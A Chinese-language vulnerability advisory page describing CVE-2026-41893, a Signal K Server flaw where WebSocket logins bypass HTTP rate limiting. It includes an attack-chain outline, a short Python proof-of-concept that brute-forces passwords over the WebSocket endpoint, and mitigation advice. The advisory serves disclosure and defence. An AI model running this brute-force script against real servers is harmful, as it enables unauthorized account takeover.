IPBUF安全漏洞报告
English
CVE-2026-41893 CVSS 7.5 高危

CVE-2026-41893 Signal K Server 登录绕过漏洞

披露日期: 2026-05-09

漏洞信息

漏洞编号
CVE-2026-41893
漏洞类型
认证绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Signal K Server

相关标签

认证绕过暴力破解Signal KWebSocket速率限制缺失

漏洞概述

Signal K Server 在 2.25.0 之前的版本中存在安全漏洞。虽然 HTTP 登录端点实施了速率限制保护,但 WebSocket 登录路径缺乏相应的频率限制。攻击者可利用此缺陷,通过建立 WebSocket 连接发送登录请求,从而绕过 HTTP 层面的防护,进行无限次的密码猜测暴力破解攻击。

技术细节

该漏洞源于 Signal K Server 对不同协议登录请求处理逻辑的不一致。服务器在 HTTP 接口(如 POST /login)使用了 express-rate-limit 中间件来限制登录尝试频率(默认每 10 分钟 100 次)。然而,在处理 WebSocket 消息时,系统直接调用 app.securityStrategy.login() 方法,完全绕过了速率限制检查。由于 WebSocket 连建立后可保持长连接,攻击者可以利用此接口以 bcrypt 算法允许的速度(约每秒 20 次)持续发送密码尝试。这使得攻击者能够无视 HTTP 防护,高效地对目标账户实施暴力破解。

攻击链分析

STEP 1
侦察
攻击者识别出目标运行的是 Signal K Server,且版本低于 2.25.0。
STEP 2
建立连接
攻击者与目标服务器建立 WebSocket 连接(通常是 /signalk/v1/stream)。
STEP 3
暴力破解
攻击者通过 WebSocket 连接持续发送包含不同密码的 {login: {username, password}} JSON 消息。
STEP 4
绕过限制
由于该路径未实施速率限制,攻击者以高频率(约 20 次/秒)尝试密码,成功绕过 HTTP 接口的防护。
STEP 5
获取权限
一旦猜中正确密码,攻击者即获得服务器访问权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import websocket import json # Target WebSocket URL url = "ws://<target-host>/signalk/v1/stream" username = "admin" password_list = ["password", "123456", "admin", "12345678"] # Establish WebSocket connection ws = websocket.create_connection(url) print(f"[+] Connected to {url}") for pwd in password_list: # Construct login payload payload = { "login": { "username": username, "password": pwd } } # Send login request via WebSocket ws.send(json.dumps(payload)) print(f"[*] Trying password: {pwd}") # Receive and check response response = ws.recv() # Logic to parse response and check for successful login goes here # if "success" in response: break ws.close() print("[+] PoC execution finished")

影响范围

Signal K Server < 2.25.0

防御指南

临时缓解措施
如果无法立即升级,建议在网络层面(如防火墙或 WAF)限制对 Signal K Server WebSocket 端口的连接频率,或仅允许受信任的 IP 地址访问该服务,以降低暴力破解风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表